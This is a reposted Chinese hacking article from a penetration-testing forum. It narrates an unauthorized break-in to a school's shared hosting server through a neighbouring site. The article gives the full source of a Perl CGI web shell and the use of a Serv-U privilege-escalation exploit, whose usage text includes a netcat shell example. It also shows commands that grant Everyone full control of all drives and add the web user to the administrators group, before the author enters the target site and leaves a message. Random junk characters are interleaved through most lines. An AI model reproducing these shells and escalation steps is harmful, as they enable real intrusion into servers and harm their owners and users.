中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击 1 U3 n/ r4 ?+ f+ G
本文作者:angel/ H+ U) q5 r+ b9 D2 M
文章性质:原创0 V/ f8 c: M1 P* W# d5 ^% j
发布日期:2004-11-09 $ O# j+ ~# ^, Y' k' l+ @
注意:
* `; }2 s; {* b% R4 X$ r本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。: T) P' g7 z: b+ ?% d( D
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
8 }2 Y, {: p" t- }- s2 m
/ G8 c" B3 N- s  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 + a5 m" h& Z# ^$ W. q/ b; X6 e7 H
2 q& E* c5 w7 `: ]) ?# c
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 . O2 O: p  l  j. H9 m% L' B# \
# q* j  M0 v3 D, d' ?* }# y
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 . N9 @$ [/ u) m$ A" K9 f
+ }" H7 Q! y# X- v, S: {1 g3 ~
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
, g" _9 W- S' O( n
* }, Q. S5 Z2 c: W  K% ~# {  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
8 `& U7 D% ?+ ?8 h! g
. A9 ?, q: H/ ]% C/ g& h1 x  没有目的的跳转目录着…… : m; d& J' s2 p! T, S

+ i1 b+ n) m. d4 H' F" U; l: ^6 I  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
- b0 n3 C$ w' w2 z) }( r$ n  t6 q6 S6 ^+ B3 @0 U/ J
  结束了吗?不,我试着 FTP 一下:
4 g( M3 W8 T6 p
" C2 x! X8 b$ X7 P0 c; SMicrosoft Windows 2000 [Version 5.00.2195]6 V+ a) u; O) H5 L* r
(C) 版权所有 1985-2000 Microsoft Corp. ) V3 D2 |2 K$ y( y/ o; L  s

7 `- G) D. a2 F! cC:\Documents and Settings\Administrator>ftp www.school.com
( ~6 G% \9 [: h+ [3 MConnected to www. school.com. ' W/ g# z( c9 [+ z4 q+ C
220 Welcome to FTP Server... , g: W6 d* z: _# U
User (www.bjtrq.com:(none)):
9 @% H8 a* \$ i  E% H; k331 User name okay, need password.
2 D& s/ t/ f4 e1 uPassword:
) ~# a! V5 H+ A1 Z9 r; J/ x530 Not logged in.
  b* U& K( B) nLogin failed. " [; E$ j2 R/ B
ftp> bye % K! c4 c  F* e. C% g
221 Goodbye!
8 w9 y+ \. g# b% y7 e9 h3 ]2 t9 I; | % c( b' A- T7 ^) ~. \* v. R; Z9 j1 v
8 p6 _9 Q- W8 z+ p# V
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 8 ?& ]8 L' e! s& Q& F

" O, t; B9 @, D& x! Q  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
% f7 S6 V- z( |$ l! \9 J+ ~4 t9 y- G7 _( D- j* a
Application Data
8 b: O% @) F7 E- NDocuments
& Y5 u* t0 t4 r! e# T3 V/ ODRM. a! N6 ?( X0 @+ \
Favorites2 j. i8 U' [5 q* W+ D7 f, u% ]
Templates
5 I0 Y2 C4 X0 u2 b. N3 j「开始」菜单
- }2 W* G# s! o, a: Q桌面
( h2 [( G) D5 c! S: g , `, Y0 w+ m6 A

) l- _7 h& b$ F  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
# G3 ~5 w4 O9 o3 W; v7 K! r9 g) g  a( |$ W& i
ActiveState ActivePerl 5.8$ \/ p$ |0 [& S( P  X& Z% |7 P
Administrative Tools
, e7 E3 V4 Z! V4 C/ ]Deerfield.com# p- G% D4 K* E( T  `1 |6 ]
DTemp' O$ X8 ^0 Q  G  _+ P
IPSentry
# ?! T- J9 g+ W: ]3 ^1 kMBM 5. G" M( x1 M" j  {  _, L( x
NetMeter
( {, U4 V6 u+ O# b4 jNetwork ICE) n$ h" a2 J$ A& _# C9 Q7 `" }. A
Persits Software AspEmail
, {) `* t+ z! S0 m5 CPersits Software AspJpeg) @4 j' ?7 H! q0 ^+ k& N& @6 P% t
Serv-U FTP Server
. q' I* @' R" j) W& H! L$ ySymantec Client Security
0 A$ V  \' }3 K2 A/ V) eWindows 优化大师
7 E! }, k! X, ^5 e% ZWinRAR- g+ t' }0 Y( Q! p4 M' N# T
启动% a1 e0 V, z7 j# J2 j4 S. c$ G
管理工具+ \  _2 s% Z4 P. B% s
附件) V* f5 }" \. s7 C- P
: i; X; Q  D$ J9 i: I
" n' L) J/ u) D2 r& v/ a; t( R
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 : n) ?8 j; D3 }- v! F/ l

5 d: T. t9 g9 S* `  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: , [4 e' M% k8 O" L4 G" G* ^1 v

+ K  O5 X+ ^# `1 R3 E6 t, FUser281=angel|1|0
% K' F$ g, ^- F . ^5 ^" \) t7 [' t& `

) I4 y' }, {/ e. N+ I8 n4 G  然后加上 2 e' [+ c' x% m9 x, ^  g
( i6 U  c6 A6 W9 t& Z) d1 t
[USER=angel|1]
( y" A$ t" x0 @9 r" [3 ^: U$ @& `Password=ng98F85379EA68DBF97BAADCA99B69B805
4 b0 e! r/ y3 ZHomeDir=D:\websites' V* W; t) ~& b0 j# Q4 Y7 u3 C8 K; l
RelPaths=1
2 {$ x  _( F, o0 _' E; x1 R9 wTimeOut=6002 F3 b0 j2 r! F2 }8 k+ K3 X
Maintenance=System* L. j- Q5 A: a+ Q& v' E4 t9 v
Access1=D:\websites|RWAMELCDP
; W- J2 c3 I! O9 Q) lSKEYValues=
8 m; s- L9 m/ u8 O2 a ) R$ `; k/ x7 ?6 m5 [7 M3 r$ O
$ v' P& U/ ~# w6 d9 K
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 6 u  F% }% ]% U% K8 s4 `

8 ^2 G' u5 v( R  E1 a  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
* q" e! }$ T: B* W
. M) b. H! V8 W- I5 j6 J  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
7 K! V* _4 R/ U9 }' y
3 e% X" h, Z/ k5 [  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
! y  o0 Z8 {* f% C2 B, O0 V, L1 Z
#!/usr/bin/perl( ^( d6 H9 C( }4 ?3 a8 g0 }
binmode(STDOUT);
/ O) t! N# U1 Z; l/ a" ]& K4 }& F% L" Lsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
( Y  O5 O8 E  O$_ = $ENV{QUERY_STRING};
+ M. F$ K$ e/ _0 V- xs/%20/ /ig;6 p2 X: ]/ q) @* S% h% |
s/%2f/\//ig;
: g3 `5 K& t5 G$ j/ j: [& E8 H$execthis = $_;' B3 O9 ~7 b' s8 L' K. d, n4 W: ], C
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);. k1 M, h0 H" P  X; F/ S6 s8 W: _
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";) w. ]2 u' c/ `" |2 A& b) i
system($execthis);1 t0 p( H' P0 X; E& x
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
3 U9 A7 @0 d, F3 n  t: ?& Aclose(STDERR);
9 l7 ^3 w8 K3 c5 [3 o2 cclose(STDOUT);
, I; X' k4 |4 G- t. c% iexit;' y5 ?$ I$ z2 P/ @( U# S
- y$ u4 X4 \; T( r+ ?

; P' i" a, C0 C% f7 B* Z; ^1 \  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
' y& \; f2 \8 W/ y" L- a+ d* p; J6 f9 A6 C
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: & \% h  V8 s3 `6 C" x  [+ u, k

0 d3 V2 S4 o6 h6 I& z* shttp://anyhost//cmd.pl?d:\user\bin\su.exe
; z+ R; \" i7 [5 q) ~9 i - H9 }7 e1 Y. k+ F. L
; B5 ^- P8 L) F. D9 m# d- h8 v  d
  返回:
4 g/ W1 K2 ?$ s8 |: T' r( l
, |# Z! f% f/ X1 d: T7 t+ dServ-u >3.x Local Exploit by xiaolu
$ c1 u: g+ Y/ Z) b$ V
0 D2 @1 U/ D( w! ?/ S5 Y% }USAGE: serv-u.exe "command"
% U5 b/ g6 @$ q7 Q+ V' i( j. u2 r5 `
; v% W+ P; I, c: T2 c0 l% A! o  DExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ( [1 |& T" L7 z/ a( r1 U
7 o1 [- Z1 R- b

3 \+ N5 Q  w! K  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
+ x# x2 p* E5 `% R7 h0 F' a% |( z) e* S7 U: y. s! K
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
. X* u$ y: K0 b" V: @
! ]. G. `/ }; Z1 t" Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
. i* [' @  V* M% y7 [5 b6 N6 m! U- V2 w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
& g, L0 f4 }/ e$ Z/ Z; o' h" b+ \9 ?
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 4 M7 \) v1 y3 p1 M! Q
! }6 O( }- M/ r6 j! m2 T2 Q
+ R' Y/ S4 ]! U  _& ~
  返回下面的信息,就表示成功了!!! : }4 V) N# _5 ]6 C" a( q6 L
8 \2 P4 P& t6 p+ u" O
Serv-u >3.x Local Exploit by xiaolu 0 V  \7 M7 T# d& v0 a

* m6 B$ t2 f& {8 R9 c<220 Serv-U FTP Server v5.2 for WinSock ready... - [5 M. \, w' ?$ F6 w8 f
4 Z) e5 v& n# C: {4 e) J8 i
>USER LocalAdministrator ) t1 h) J. J4 S

- x7 x! z3 d( k/ S# ]0 j<331 User name okay, need password. 6 g8 ~" C6 c& r8 F
" Z% \5 s. b  W3 t! N- x
******************************************************
! u- H; O4 A  V# `- q: T  ?8 }3 P0 H9 T! X& d1 P" c7 o3 p3 m; P' z
>PASS #l@$ak#.lk;0@P # Y3 ^: \9 Z, ~3 t4 ~! P* Q+ `

: Q- K. ?) k+ T$ [1 Q; F<230 User logged in, proceed.
8 C2 L9 _6 g7 V8 w9 N4 S+ D2 k: [
/ d: U' p, q) \6 P4 ?6 m, R' B******************************************************
- P, r: N/ E# S# @3 v. Z! `" q& t$ z
; U) w8 \9 I8 e; p: |  A$ F>SITE MAINTENANCE / ?+ i+ H. A# h+ X4 ^# b

+ }% S! C3 ~' g; r0 i% z" r& W& U****************************************************** ( u: @- Y6 N: D- M1 n' l

. a1 J- x3 r1 `  P! U[+] Creating New Domain...
  j7 w( |8 [$ f7 X; X
2 i$ [4 b# p% U" R" R<200-DomainID=2
" y! ?6 O8 ~3 |0 E- l# ^0 j( g6 w& ~6 P  W  J  G" Y1 E1 E. T6 J" K) q
<220 Domain settings saved
1 R' _) B) [( D' n; r5 `; x% I. P
: a* [9 _+ Y8 J' P& V# A5 e+ q$ d0 j****************************************************** $ R) o5 _! W0 g

2 d1 r+ m, o1 i; ?; {[+] Domain xl:2 Created * V7 k& P* f0 i2 n3 p
) O0 U: N5 f+ D: i( ?8 ?
[+] Creating Evil User
% J6 N8 ^5 a& i3 m7 b2 o4 K+ x8 t) L" S! [9 o9 _9 K7 a! U
<200-User=xl
/ m! \, v3 p6 b8 h3 \4 y
, g" ^5 }3 [! `+ e200 User settings saved 8 f* A0 ~, i! B8 @% f$ a+ d/ ~3 i

. x2 k% g9 k7 u1 X****************************************************** 3 z8 }) P& w3 w( B: V# f
! T% P( l6 u- \4 f5 t( |7 c
[+] Now Exploiting...
- \! E3 i9 G2 @6 v# [* ~) [$ Z7 B+ G( A; k
>USER xl
' Z6 S' y8 r7 N$ ?  |
$ m2 ?( z# x; C4 ]$ m; U<331 User name okay, need password.
) [  U! ]. v" F1 X  N/ H  U* F9 b/ J- _
******************************************************
+ Z) E! b8 I' F" h
, E! \  z/ S+ g8 v1 C3 W# X2 P>PASS 111111 ; R' a8 ^: l" B% X
& A' C4 l1 g* @
<230 User logged in, proceed. 6 O- u! A0 n& J

  n* e2 f( H  K- A0 o3 P0 d****************************************************** ! ]. [9 X& v# _

4 g  z5 N( y1 F# H2 A; h# [[+] Now Executing: cacls.exe c: /E /T /G everyone:F
# m) H: g/ o6 t8 w9 U( [( C: u/ Q9 n7 w4 M/ p
<220 Domain deleted 4 V8 C3 k* n% N$ F( Z# D  z2 v

% |% \  d6 N6 r( _! J8 n2 V******************************************************
" i$ S& j. T$ s7 I7 Q. X9 }
7 t8 V$ z, ~. W* L' ]- R! ?8 P
$ @$ H+ Y" O# ~# o3 m  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: $ X9 P  _1 `: V; c) A  ?
; i- l/ k, ^0 T. H
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
: p3 N5 Y+ d/ [
: y* x: P$ K( a' w
6 f3 _! c7 l5 l* b, h7 D- N3 Q; w  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 # p& T4 d4 l0 P* q5 T9 |, J  Q
. z4 W! ?, `. ?7 p! U8 Z4 B( s# |6 m* Y
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
9 L; m+ K. T" D$ z% _; ^; J% N1 O
, O: ^$ Y0 ~- I2 m- q  6 x5 ?% d  G; c! S% |* ?





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2